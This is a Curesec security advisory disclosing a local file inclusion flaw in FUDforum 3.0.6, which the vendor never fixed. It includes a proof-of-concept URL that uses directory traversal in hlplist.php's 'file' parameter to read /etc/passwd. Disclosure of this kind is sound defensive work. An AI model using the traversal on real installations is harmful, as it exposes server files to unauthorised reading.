FUDforum 3.0.6 - Local File Inclusion

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    FUDforum 3.0.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://fudforum.org/forum/
Vulnerability Type:  LFI
Remote Exploitable:  Yes
Reported to vendor:  04/11/2016
Disclosed to public: 11/10/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

FUDforum is forum software written in PHP. In version 3.0.6, it is vulnerable
to local file inclusion. This allows an attacker to read arbitrary files that
the web user has access to.

Admin credentials are required.

3. Details

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N

Description: The "file" parameter of the hlplist.php script is vulnerable to
directory traversal, which allows the viewing of arbitrary files.

Proof of Concept:

http://localhost/fudforum/adm/hlplist.php?tname=default&tlang=./af&&SQ=
4b181ea1d2d40977c7ffddb8a48a4724&file=../../../../../../../../../../etc/passwd

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-LFI-167.html
 
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Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany